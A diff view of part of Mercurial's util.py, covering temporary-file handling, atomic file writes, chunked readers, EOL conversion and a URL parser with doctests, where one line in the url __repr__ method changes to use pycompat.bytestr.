1922 1922 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1923 1923
1924 1924 def splitpath(path):
1925 1925 '''Split path by os.sep.
1926 1926 Note that this function does not use os.altsep because this is
1927 1927 an alternative of simple "xxx.split(os.sep)".
1928 1928 It is recommended to use os.path.normpath() before using this
1929 1929 function if need.'''
1930 1930 return path.split(pycompat.ossep)
1931 1931
1932 1932 def mktempcopy(name, emptyok=False, createmode=None):
1933 1933 """Create a temporary file with the same contents from name
1934 1934
1935 1935 The permission bits are copied from the original file.
1936 1936
1937 1937 If the temporary file is going to be truncated immediately, you
1938 1938 can use emptyok=True as an optimization.
1939 1939
1940 1940 Returns the name of the temporary file.
1941 1941 """
1942 1942 d, fn = os.path.split(name)
1943 1943 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1944 1944 os.close(fd)
1945 1945 # Temporary files are created with mode 0600, which is usually not
1946 1946 # what we want. If the original file already exists, just copy
1947 1947 # its mode. Otherwise, manually obey umask.
1948 1948 copymode(name, temp, createmode)
1949 1949 if emptyok:
1950 1950 return temp
1951 1951 try:
1952 1952 try:
1953 1953 ifp = posixfile(name, "rb")
1954 1954 except IOError as inst:
1955 1955 if inst.errno == errno.ENOENT:
1956 1956 return temp
1957 1957 if not getattr(inst, 'filename', None):
1958 1958 inst.filename = name
1959 1959 raise
1960 1960 ofp = posixfile(temp, "wb")
1961 1961 for chunk in filechunkiter(ifp):
1962 1962 ofp.write(chunk)
1963 1963 ifp.close()
1964 1964 ofp.close()
1965 1965 except: # re-raises
1966 1966 try:
1967 1967 os.unlink(temp)
1968 1968 except OSError:
1969 1969 pass
1970 1970 raise
1971 1971 return temp
1972 1972
1973 1973 class filestat(object):
1974 1974 """help to exactly detect change of a file
1975 1975
1976 1976 'stat' attribute is result of 'os.stat()' if specified 'path'
1977 1977 exists. Otherwise, it is None. This can avoid preparative
1978 1978 'exists()' examination on client side of this class.
1979 1979 """
1980 1980 def __init__(self, stat):
1981 1981 self.stat = stat
1982 1982
1983 1983 @classmethod
1984 1984 def frompath(cls, path):
1985 1985 try:
1986 1986 stat = os.stat(path)
1987 1987 except OSError as err:
1988 1988 if err.errno != errno.ENOENT:
1989 1989 raise
1990 1990 stat = None
1991 1991 return cls(stat)
1992 1992
1993 1993 @classmethod
1994 1994 def fromfp(cls, fp):
1995 1995 stat = os.fstat(fp.fileno())
1996 1996 return cls(stat)
1997 1997
1998 1998 __hash__ = object.__hash__
1999 1999
2000 2000 def __eq__(self, old):
2001 2001 try:
2002 2002 # if ambiguity between stat of new and old file is
2003 2003 # avoided, comparison of size, ctime and mtime is enough
2004 2004 # to exactly detect change of a file regardless of platform
2005 2005 return (self.stat.st_size == old.stat.st_size and
2006 2006 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2007 2007 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2008 2008 except AttributeError:
2009 2009 pass
2010 2010 try:
2011 2011 return self.stat is None and old.stat is None
2012 2012 except AttributeError:
2013 2013 return False
2014 2014
2015 2015 def isambig(self, old):
2016 2016 """Examine whether new (= self) stat is ambiguous against old one
2017 2017
2018 2018 "S[N]" below means stat of a file at N-th change:
2019 2019
2020 2020 - S[n-1].ctime < S[n].ctime: can detect change of a file
2021 2021 - S[n-1].ctime == S[n].ctime
2022 2022 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2023 2023 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2024 2024 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2025 2025 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2026 2026
2027 2027 Case (*2) above means that a file was changed twice or more at
2028 2028 same time in sec (= S[n-1].ctime), and comparison of timestamp
2029 2029 is ambiguous.
2030 2030
2031 2031 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2032 2032 timestamp is ambiguous".
2033 2033
2034 2034 But advancing mtime only in case (*2) doesn't work as
2035 2035 expected, because naturally advanced S[n].mtime in case (*1)
2036 2036 might be equal to manually advanced S[n-1 or earlier].mtime.
2037 2037
2038 2038 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2039 2039 treated as ambiguous regardless of mtime, to avoid overlooking
2040 2040 by confliction between such mtime.
2041 2041
2042 2042 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2043 2043 S[n].mtime", even if size of a file isn't changed.
2044 2044 """
2045 2045 try:
2046 2046 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2047 2047 except AttributeError:
2048 2048 return False
2049 2049
2050 2050 def avoidambig(self, path, old):
2051 2051 """Change file stat of specified path to avoid ambiguity
2052 2052
2053 2053 'old' should be previous filestat of 'path'.
2054 2054
2055 2055 This skips avoiding ambiguity, if a process doesn't have
2056 2056 appropriate privileges for 'path'. This returns False in this
2057 2057 case.
2058 2058
2059 2059 Otherwise, this returns True, as "ambiguity is avoided".
2060 2060 """
2061 2061 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2062 2062 try:
2063 2063 os.utime(path, (advanced, advanced))
2064 2064 except OSError as inst:
2065 2065 if inst.errno == errno.EPERM:
2066 2066 # utime() on the file created by another user causes EPERM,
2067 2067 # if a process doesn't have appropriate privileges
2068 2068 return False
2069 2069 raise
2070 2070 return True
2071 2071
2072 2072 def __ne__(self, other):
2073 2073 return not self == other
2074 2074
2075 2075 class atomictempfile(object):
2076 2076 '''writable file object that atomically updates a file
2077 2077
2078 2078 All writes will go to a temporary copy of the original file. Call
2079 2079 close() when you are done writing, and atomictempfile will rename
2080 2080 the temporary copy to the original name, making the changes
2081 2081 visible. If the object is destroyed without being closed, all your
2082 2082 writes are discarded.
2083 2083
2084 2084 checkambig argument of constructor is used with filestat, and is
2085 2085 useful only if target file is guarded by any lock (e.g. repo.lock
2086 2086 or repo.wlock).
2087 2087 '''
2088 2088 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2089 2089 self.__name = name # permanent name
2090 2090 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2091 2091 createmode=createmode)
2092 2092 self._fp = posixfile(self._tempname, mode)
2093 2093 self._checkambig = checkambig
2094 2094
2095 2095 # delegated methods
2096 2096 self.read = self._fp.read
2097 2097 self.write = self._fp.write
2098 2098 self.seek = self._fp.seek
2099 2099 self.tell = self._fp.tell
2100 2100 self.fileno = self._fp.fileno
2101 2101
2102 2102 def close(self):
2103 2103 if not self._fp.closed:
2104 2104 self._fp.close()
2105 2105 filename = localpath(self.__name)
2106 2106 oldstat = self._checkambig and filestat.frompath(filename)
2107 2107 if oldstat and oldstat.stat:
2108 2108 rename(self._tempname, filename)
2109 2109 newstat = filestat.frompath(filename)
2110 2110 if newstat.isambig(oldstat):
2111 2111 # stat of changed file is ambiguous to original one
2112 2112 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2113 2113 os.utime(filename, (advanced, advanced))
2114 2114 else:
2115 2115 rename(self._tempname, filename)
2116 2116
2117 2117 def discard(self):
2118 2118 if not self._fp.closed:
2119 2119 try:
2120 2120 os.unlink(self._tempname)
2121 2121 except OSError:
2122 2122 pass
2123 2123 self._fp.close()
2124 2124
2125 2125 def __del__(self):
2126 2126 if safehasattr(self, '_fp'): # constructor actually did something
2127 2127 self.discard()
2128 2128
2129 2129 def __enter__(self):
2130 2130 return self
2131 2131
2132 2132 def __exit__(self, exctype, excvalue, traceback):
2133 2133 if exctype is not None:
2134 2134 self.discard()
2135 2135 else:
2136 2136 self.close()
2137 2137
2138 2138 def unlinkpath(f, ignoremissing=False):
2139 2139 """unlink and remove the directory if it is empty"""
2140 2140 if ignoremissing:
2141 2141 tryunlink(f)
2142 2142 else:
2143 2143 unlink(f)
2144 2144 # try removing directories that might now be empty
2145 2145 try:
2146 2146 removedirs(os.path.dirname(f))
2147 2147 except OSError:
2148 2148 pass
2149 2149
2150 2150 def tryunlink(f):
2151 2151 """Attempt to remove a file, ignoring ENOENT errors."""
2152 2152 try:
2153 2153 unlink(f)
2154 2154 except OSError as e:
2155 2155 if e.errno != errno.ENOENT:
2156 2156 raise
2157 2157
2158 2158 def makedirs(name, mode=None, notindexed=False):
2159 2159 """recursive directory creation with parent mode inheritance
2160 2160
2161 2161 Newly created directories are marked as "not to be indexed by
2162 2162 the content indexing service", if ``notindexed`` is specified
2163 2163 for "write" mode access.
2164 2164 """
2165 2165 try:
2166 2166 makedir(name, notindexed)
2167 2167 except OSError as err:
2168 2168 if err.errno == errno.EEXIST:
2169 2169 return
2170 2170 if err.errno != errno.ENOENT or not name:
2171 2171 raise
2172 2172 parent = os.path.dirname(os.path.abspath(name))
2173 2173 if parent == name:
2174 2174 raise
2175 2175 makedirs(parent, mode, notindexed)
2176 2176 try:
2177 2177 makedir(name, notindexed)
2178 2178 except OSError as err:
2179 2179 # Catch EEXIST to handle races
2180 2180 if err.errno == errno.EEXIST:
2181 2181 return
2182 2182 raise
2183 2183 if mode is not None:
2184 2184 os.chmod(name, mode)
2185 2185
2186 2186 def readfile(path):
2187 2187 with open(path, 'rb') as fp:
2188 2188 return fp.read()
2189 2189
2190 2190 def writefile(path, text):
2191 2191 with open(path, 'wb') as fp:
2192 2192 fp.write(text)
2193 2193
2194 2194 def appendfile(path, text):
2195 2195 with open(path, 'ab') as fp:
2196 2196 fp.write(text)
2197 2197
2198 2198 class chunkbuffer(object):
2199 2199 """Allow arbitrary sized chunks of data to be efficiently read from an
2200 2200 iterator over chunks of arbitrary size."""
2201 2201
2202 2202 def __init__(self, in_iter):
2203 2203 """in_iter is the iterator that's iterating over the input chunks."""
2204 2204 def splitbig(chunks):
2205 2205 for chunk in chunks:
2206 2206 if len(chunk) > 2**20:
2207 2207 pos = 0
2208 2208 while pos < len(chunk):
2209 2209 end = pos + 2 ** 18
2210 2210 yield chunk[pos:end]
2211 2211 pos = end
2212 2212 else:
2213 2213 yield chunk
2214 2214 self.iter = splitbig(in_iter)
2215 2215 self._queue = collections.deque()
2216 2216 self._chunkoffset = 0
2217 2217
2218 2218 def read(self, l=None):
2219 2219 """Read L bytes of data from the iterator of chunks of data.
2220 2220 Returns less than L bytes if the iterator runs dry.
2221 2221
2222 2222 If size parameter is omitted, read everything"""
2223 2223 if l is None:
2224 2224 return ''.join(self.iter)
2225 2225
2226 2226 left = l
2227 2227 buf = []
2228 2228 queue = self._queue
2229 2229 while left > 0:
2230 2230 # refill the queue
2231 2231 if not queue:
2232 2232 target = 2**18
2233 2233 for chunk in self.iter:
2234 2234 queue.append(chunk)
2235 2235 target -= len(chunk)
2236 2236 if target <= 0:
2237 2237 break
2238 2238 if not queue:
2239 2239 break
2240 2240
2241 2241 # The easy way to do this would be to queue.popleft(), modify the
2242 2242 # chunk (if necessary), then queue.appendleft(). However, for cases
2243 2243 # where we read partial chunk content, this incurs 2 dequeue
2244 2244 # mutations and creates a new str for the remaining chunk in the
2245 2245 # queue. Our code below avoids this overhead.
2246 2246
2247 2247 chunk = queue[0]
2248 2248 chunkl = len(chunk)
2249 2249 offset = self._chunkoffset
2250 2250
2251 2251 # Use full chunk.
2252 2252 if offset == 0 and left >= chunkl:
2253 2253 left -= chunkl
2254 2254 queue.popleft()
2255 2255 buf.append(chunk)
2256 2256 # self._chunkoffset remains at 0.
2257 2257 continue
2258 2258
2259 2259 chunkremaining = chunkl - offset
2260 2260
2261 2261 # Use all of unconsumed part of chunk.
2262 2262 if left >= chunkremaining:
2263 2263 left -= chunkremaining
2264 2264 queue.popleft()
2265 2265 # offset == 0 is enabled by block above, so this won't merely
2266 2266 # copy via ``chunk[0:]``.
2267 2267 buf.append(chunk[offset:])
2268 2268 self._chunkoffset = 0
2269 2269
2270 2270 # Partial chunk needed.
2271 2271 else:
2272 2272 buf.append(chunk[offset:offset + left])
2273 2273 self._chunkoffset += left
2274 2274 left -= chunkremaining
2275 2275
2276 2276 return ''.join(buf)
2277 2277
2278 2278 def filechunkiter(f, size=131072, limit=None):
2279 2279 """Create a generator that produces the data in the file size
2280 2280 (default 131072) bytes at a time, up to optional limit (default is
2281 2281 to read all data). Chunks may be less than size bytes if the
2282 2282 chunk is the last chunk in the file, or the file is a socket or
2283 2283 some other type of file that sometimes reads less data than is
2284 2284 requested."""
2285 2285 assert size >= 0
2286 2286 assert limit is None or limit >= 0
2287 2287 while True:
2288 2288 if limit is None:
2289 2289 nbytes = size
2290 2290 else:
2291 2291 nbytes = min(limit, size)
2292 2292 s = nbytes and f.read(nbytes)
2293 2293 if not s:
2294 2294 break
2295 2295 if limit:
2296 2296 limit -= len(s)
2297 2297 yield s
2298 2298
2299 2299 class cappedreader(object):
2300 2300 """A file object proxy that allows reading up to N bytes.
2301 2301
2302 2302 Given a source file object, instances of this type allow reading up to
2303 2303 N bytes from that source file object. Attempts to read past the allowed
2304 2304 limit are treated as EOF.
2305 2305
2306 2306 It is assumed that I/O is not performed on the original file object
2307 2307 in addition to I/O that is performed by this instance. If there is,
2308 2308 state tracking will get out of sync and unexpected results will ensue.
2309 2309 """
2310 2310 def __init__(self, fh, limit):
2311 2311 """Allow reading up to <limit> bytes from <fh>."""
2312 2312 self._fh = fh
2313 2313 self._left = limit
2314 2314
2315 2315 def read(self, n=-1):
2316 2316 if not self._left:
2317 2317 return b''
2318 2318
2319 2319 if n < 0:
2320 2320 n = self._left
2321 2321
2322 2322 data = self._fh.read(min(n, self._left))
2323 2323 self._left -= len(data)
2324 2324 assert self._left >= 0
2325 2325
2326 2326 return data
2327 2327
2328 2328 def readinto(self, b):
2329 2329 res = self.read(len(b))
2330 2330 if res is None:
2331 2331 return None
2332 2332
2333 2333 b[0:len(res)] = res
2334 2334 return len(res)
2335 2335
2336 2336 def unitcountfn(*unittable):
2337 2337 '''return a function that renders a readable count of some quantity'''
2338 2338
2339 2339 def go(count):
2340 2340 for multiplier, divisor, format in unittable:
2341 2341 if abs(count) >= divisor * multiplier:
2342 2342 return format % (count / float(divisor))
2343 2343 return unittable[-1][2] % count
2344 2344
2345 2345 return go
2346 2346
2347 2347 def processlinerange(fromline, toline):
2348 2348 """Check that linerange <fromline>:<toline> makes sense and return a
2349 2349 0-based range.
2350 2350
2351 2351 >>> processlinerange(10, 20)
2352 2352 (9, 20)
2353 2353 >>> processlinerange(2, 1)
2354 2354 Traceback (most recent call last):
2355 2355 ...
2356 2356 ParseError: line range must be positive
2357 2357 >>> processlinerange(0, 5)
2358 2358 Traceback (most recent call last):
2359 2359 ...
2360 2360 ParseError: fromline must be strictly positive
2361 2361 """
2362 2362 if toline - fromline < 0:
2363 2363 raise error.ParseError(_("line range must be positive"))
2364 2364 if fromline < 1:
2365 2365 raise error.ParseError(_("fromline must be strictly positive"))
2366 2366 return fromline - 1, toline
2367 2367
2368 2368 bytecount = unitcountfn(
2369 2369 (100, 1 << 30, _('%.0f GB')),
2370 2370 (10, 1 << 30, _('%.1f GB')),
2371 2371 (1, 1 << 30, _('%.2f GB')),
2372 2372 (100, 1 << 20, _('%.0f MB')),
2373 2373 (10, 1 << 20, _('%.1f MB')),
2374 2374 (1, 1 << 20, _('%.2f MB')),
2375 2375 (100, 1 << 10, _('%.0f KB')),
2376 2376 (10, 1 << 10, _('%.1f KB')),
2377 2377 (1, 1 << 10, _('%.2f KB')),
2378 2378 (1, 1, _('%.0f bytes')),
2379 2379 )
2380 2380
2381 2381 class transformingwriter(object):
2382 2382 """Writable file wrapper to transform data by function"""
2383 2383
2384 2384 def __init__(self, fp, encode):
2385 2385 self._fp = fp
2386 2386 self._encode = encode
2387 2387
2388 2388 def close(self):
2389 2389 self._fp.close()
2390 2390
2391 2391 def flush(self):
2392 2392 self._fp.flush()
2393 2393
2394 2394 def write(self, data):
2395 2395 return self._fp.write(self._encode(data))
2396 2396
2397 2397 # Matches a single EOL which can either be a CRLF where repeated CR
2398 2398 # are removed or a LF. We do not care about old Macintosh files, so a
2399 2399 # stray CR is an error.
2400 2400 _eolre = remod.compile(br'\r*\n')
2401 2401
2402 2402 def tolf(s):
2403 2403 return _eolre.sub('\n', s)
2404 2404
2405 2405 def tocrlf(s):
2406 2406 return _eolre.sub('\r\n', s)
2407 2407
2408 2408 def _crlfwriter(fp):
2409 2409 return transformingwriter(fp, tocrlf)
2410 2410
2411 2411 if pycompat.oslinesep == '\r\n':
2412 2412 tonativeeol = tocrlf
2413 2413 fromnativeeol = tolf
2414 2414 nativeeolwriter = _crlfwriter
2415 2415 else:
2416 2416 tonativeeol = pycompat.identity
2417 2417 fromnativeeol = pycompat.identity
2418 2418 nativeeolwriter = pycompat.identity
2419 2419
2420 2420 if (pyplatform.python_implementation() == 'CPython' and
2421 2421 sys.version_info < (3, 0)):
2422 2422 # There is an issue in CPython that some IO methods do not handle EINTR
2423 2423 # correctly. The following table shows what CPython version (and functions)
2424 2424 # are affected (buggy: has the EINTR bug, okay: otherwise):
2425 2425 #
2426 2426 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2427 2427 # --------------------------------------------------
2428 2428 # fp.__iter__ | buggy | buggy | okay
2429 2429 # fp.read* | buggy | okay [1] | okay
2430 2430 #
2431 2431 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2432 2432 #
2433 2433 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2434 2434 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2435 2435 #
2436 2436 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2437 2437 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2438 2438 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2439 2439 # fp.__iter__ but not other fp.read* methods.
2440 2440 #
2441 2441 # On modern systems like Linux, the "read" syscall cannot be interrupted
2442 2442 # when reading "fast" files like on-disk files. So the EINTR issue only
2443 2443 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2444 2444 # files approximately as "fast" files and use the fast (unsafe) code path,
2445 2445 # to minimize the performance impact.
2446 2446 if sys.version_info >= (2, 7, 4):
2447 2447 # fp.readline deals with EINTR correctly, use it as a workaround.
2448 2448 def _safeiterfile(fp):
2449 2449 return iter(fp.readline, '')
2450 2450 else:
2451 2451 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2452 2452 # note: this may block longer than necessary because of bufsize.
2453 2453 def _safeiterfile(fp, bufsize=4096):
2454 2454 fd = fp.fileno()
2455 2455 line = ''
2456 2456 while True:
2457 2457 try:
2458 2458 buf = os.read(fd, bufsize)
2459 2459 except OSError as ex:
2460 2460 # os.read only raises EINTR before any data is read
2461 2461 if ex.errno == errno.EINTR:
2462 2462 continue
2463 2463 else:
2464 2464 raise
2465 2465 line += buf
2466 2466 if '\n' in buf:
2467 2467 splitted = line.splitlines(True)
2468 2468 line = ''
2469 2469 for l in splitted:
2470 2470 if l[-1] == '\n':
2471 2471 yield l
2472 2472 else:
2473 2473 line = l
2474 2474 if not buf:
2475 2475 break
2476 2476 if line:
2477 2477 yield line
2478 2478
2479 2479 def iterfile(fp):
2480 2480 fastpath = True
2481 2481 if type(fp) is file:
2482 2482 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2483 2483 if fastpath:
2484 2484 return fp
2485 2485 else:
2486 2486 return _safeiterfile(fp)
2487 2487 else:
2488 2488 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2489 2489 def iterfile(fp):
2490 2490 return fp
2491 2491
2492 2492 def iterlines(iterator):
2493 2493 for chunk in iterator:
2494 2494 for line in chunk.splitlines():
2495 2495 yield line
2496 2496
2497 2497 def expandpath(path):
2498 2498 return os.path.expanduser(os.path.expandvars(path))
2499 2499
2500 2500 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2501 2501 """Return the result of interpolating items in the mapping into string s.
2502 2502
2503 2503 prefix is a single character string, or a two character string with
2504 2504 a backslash as the first character if the prefix needs to be escaped in
2505 2505 a regular expression.
2506 2506
2507 2507 fn is an optional function that will be applied to the replacement text
2508 2508 just before replacement.
2509 2509
2510 2510 escape_prefix is an optional flag that allows using doubled prefix for
2511 2511 its escaping.
2512 2512 """
2513 2513 fn = fn or (lambda s: s)
2514 2514 patterns = '|'.join(mapping.keys())
2515 2515 if escape_prefix:
2516 2516 patterns += '|' + prefix
2517 2517 if len(prefix) > 1:
2518 2518 prefix_char = prefix[1:]
2519 2519 else:
2520 2520 prefix_char = prefix
2521 2521 mapping[prefix_char] = prefix_char
2522 2522 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2523 2523 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2524 2524
2525 2525 def getport(port):
2526 2526 """Return the port for a given network service.
2527 2527
2528 2528 If port is an integer, it's returned as is. If it's a string, it's
2529 2529 looked up using socket.getservbyname(). If there's no matching
2530 2530 service, error.Abort is raised.
2531 2531 """
2532 2532 try:
2533 2533 return int(port)
2534 2534 except ValueError:
2535 2535 pass
2536 2536
2537 2537 try:
2538 2538 return socket.getservbyname(pycompat.sysstr(port))
2539 2539 except socket.error:
2540 2540 raise error.Abort(_("no port number associated with service '%s'")
2541 2541 % port)
2542 2542
2543 2543 class url(object):
2544 2544 r"""Reliable URL parser.
2545 2545
2546 2546 This parses URLs and provides attributes for the following
2547 2547 components:
2548 2548
2549 2549 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2550 2550
2551 2551 Missing components are set to None. The only exception is
2552 2552 fragment, which is set to '' if present but empty.
2553 2553
2554 2554 If parsefragment is False, fragment is included in query. If
2555 2555 parsequery is False, query is included in path. If both are
2556 2556 False, both fragment and query are included in path.
2557 2557
2558 2558 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2559 2559
2560 2560 Note that for backward compatibility reasons, bundle URLs do not
2561 2561 take host names. That means 'bundle://../' has a path of '../'.
2562 2562
2563 2563 Examples:
2564 2564
2565 2565 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2566 2566 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2567 2567 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2568 2568 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2569 2569 >>> url(b'file:///home/joe/repo')
2570 2570 <url scheme: 'file', path: '/home/joe/repo'>
2571 2571 >>> url(b'file:///c:/temp/foo/')
2572 2572 <url scheme: 'file', path: 'c:/temp/foo/'>
2573 2573 >>> url(b'bundle:foo')
2574 2574 <url scheme: 'bundle', path: 'foo'>
2575 2575 >>> url(b'bundle://../foo')
2576 2576 <url scheme: 'bundle', path: '../foo'>
2577 2577 >>> url(br'c:\foo\bar')
2578 2578 <url path: 'c:\\foo\\bar'>
2579 2579 >>> url(br'\\blah\blah\blah')
2580 2580 <url path: '\\\\blah\\blah\\blah'>
2581 2581 >>> url(br'\\blah\blah\blah#baz')
2582 2582 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2583 2583 >>> url(br'file:///C:\users\me')
2584 2584 <url scheme: 'file', path: 'C:\\users\\me'>
2585 2585
2586 2586 Authentication credentials:
2587 2587
2588 2588 >>> url(b'ssh://joe:xyz@x/repo')
2589 2589 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2590 2590 >>> url(b'ssh://joe@x/repo')
2591 2591 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2592 2592
2593 2593 Query strings and fragments:
2594 2594
2595 2595 >>> url(b'http://host/a?b#c')
2596 2596 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2597 2597 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2598 2598 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2599 2599
2600 2600 Empty path:
2601 2601
2602 2602 >>> url(b'')
2603 2603 <url path: ''>
2604 2604 >>> url(b'#a')
2605 2605 <url path: '', fragment: 'a'>
2606 2606 >>> url(b'http://host/')
2607 2607 <url scheme: 'http', host: 'host', path: ''>
2608 2608 >>> url(b'http://host/#a')
2609 2609 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2610 2610
2611 2611 Only scheme:
2612 2612
2613 2613 >>> url(b'http:')
2614 2614 <url scheme: 'http'>
2615 2615 """
2616 2616
2617 2617 _safechars = "!~*'()+"
2618 2618 _safepchars = "/!~*'()+:\\"
2619 2619 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2620 2620
2621 2621 def __init__(self, path, parsequery=True, parsefragment=True):
2622 2622 # We slowly chomp away at path until we have only the path left
2623 2623 self.scheme = self.user = self.passwd = self.host = None
2624 2624 self.port = self.path = self.query = self.fragment = None
2625 2625 self._localpath = True
2626 2626 self._hostport = ''
2627 2627 self._origpath = path
2628 2628
2629 2629 if parsefragment and '#' in path:
2630 2630 path, self.fragment = path.split('#', 1)
2631 2631
2632 2632 # special case for Windows drive letters and UNC paths
2633 2633 if hasdriveletter(path) or path.startswith('\\\\'):
2634 2634 self.path = path
2635 2635 return
2636 2636
2637 2637 # For compatibility reasons, we can't handle bundle paths as
2638 2638 # normal URLS
2639 2639 if path.startswith('bundle:'):
2640 2640 self.scheme = 'bundle'
2641 2641 path = path[7:]
2642 2642 if path.startswith('//'):
2643 2643 path = path[2:]
2644 2644 self.path = path
2645 2645 return
2646 2646
2647 2647 if self._matchscheme(path):
2648 2648 parts = path.split(':', 1)
2649 2649 if parts[0]:
2650 2650 self.scheme, path = parts
2651 2651 self._localpath = False
2652 2652
2653 2653 if not path:
2654 2654 path = None
2655 2655 if self._localpath:
2656 2656 self.path = ''
2657 2657 return
2658 2658 else:
2659 2659 if self._localpath:
2660 2660 self.path = path
2661 2661 return
2662 2662
2663 2663 if parsequery and '?' in path:
2664 2664 path, self.query = path.split('?', 1)
2665 2665 if not path:
2666 2666 path = None
2667 2667 if not self.query:
2668 2668 self.query = None
2669 2669
2670 2670 # // is required to specify a host/authority
2671 2671 if path and path.startswith('//'):
2672 2672 parts = path[2:].split('/', 1)
2673 2673 if len(parts) > 1:
2674 2674 self.host, path = parts
2675 2675 else:
2676 2676 self.host = parts[0]
2677 2677 path = None
2678 2678 if not self.host:
2679 2679 self.host = None
2680 2680 # path of file:///d is /d
2681 2681 # path of file:///d:/ is d:/, not /d:/
2682 2682 if path and not hasdriveletter(path):
2683 2683 path = '/' + path
2684 2684
2685 2685 if self.host and '@' in self.host:
2686 2686 self.user, self.host = self.host.rsplit('@', 1)
2687 2687 if ':' in self.user:
2688 2688 self.user, self.passwd = self.user.split(':', 1)
2689 2689 if not self.host:
2690 2690 self.host = None
2691 2691
2692 2692 # Don't split on colons in IPv6 addresses without ports
2693 2693 if (self.host and ':' in self.host and
2694 2694 not (self.host.startswith('[') and self.host.endswith(']'))):
2695 2695 self._hostport = self.host
2696 2696 self.host, self.port = self.host.rsplit(':', 1)
2697 2697 if not self.host:
2698 2698 self.host = None
2699 2699
2700 2700 if (self.host and self.scheme == 'file' and
2701 2701 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2702 2702 raise error.Abort(_('file:// URLs can only refer to localhost'))
2703 2703
2704 2704 self.path = path
2705 2705
2706 2706 # leave the query string escaped
2707 2707 for a in ('user', 'passwd', 'host', 'port',
2708 2708 'path', 'fragment'):
2709 2709 v = getattr(self, a)
2710 2710 if v is not None:
2711 2711 setattr(self, a, urlreq.unquote(v))
2712 2712
2713 2713 @encoding.strmethod
2714 2714 def __repr__(self):
2715 2715 attrs = []
2716 2716 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2717 2717 'query', 'fragment'):
2718 2718 v = getattr(self, a)
2719 2719 if v is not None:
2720 attrs.append('%s: %r' % (a, v))
2720 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2721 2721 return '<url %s>' % ', '.join(attrs)
2722 2722
2723 2723 def __bytes__(self):
2724 2724 r"""Join the URL's components back into a URL string.
2725 2725
2726 2726 Examples:
2727 2727
2728 2728 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2729 2729 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2730 2730 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2731 2731 'http://user:pw@host:80/?foo=bar&baz=42'
2732 2732 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2733 2733 'http://user:pw@host:80/?foo=bar%3dbaz'
2734 2734 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2735 2735 'ssh://user:pw@[::1]:2200//home/joe#'
2736 2736 >>> bytes(url(b'http://localhost:80//'))
2737 2737 'http://localhost:80//'
2738 2738 >>> bytes(url(b'http://localhost:80/'))
2739 2739 'http://localhost:80/'
2740 2740 >>> bytes(url(b'http://localhost:80'))
2741 2741 'http://localhost:80/'
2742 2742 >>> bytes(url(b'bundle:foo'))
2743 2743 'bundle:foo'
2744 2744 >>> bytes(url(b'bundle://../foo'))
2745 2745 'bundle:../foo'
2746 2746 >>> bytes(url(b'path'))
2747 2747 'path'
2748 2748 >>> bytes(url(b'file:///tmp/foo/bar'))
2749 2749 'file:///tmp/foo/bar'
2750 2750 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2751 2751 'file:///c:/tmp/foo/bar'
2752 2752 >>> print(url(br'bundle:foo\bar'))
2753 2753 bundle:foo\bar
2754 2754 >>> print(url(br'file:///D:\data\hg'))
2755 2755 file:///D:\data\hg
2756 2756 """
2757 2757 if self._localpath:
2758 2758 s = self.path
2759 2759 if self.scheme == 'bundle':
2760 2760 s = 'bundle:' + s
2761 2761 if self.fragment:
2762 2762 s += '#' + self.fragment
2763 2763 return s
2764 2764
2765 2765 s = self.scheme + ':'
2766 2766 if self.user or self.passwd or self.host:
2767 2767 s += '//'
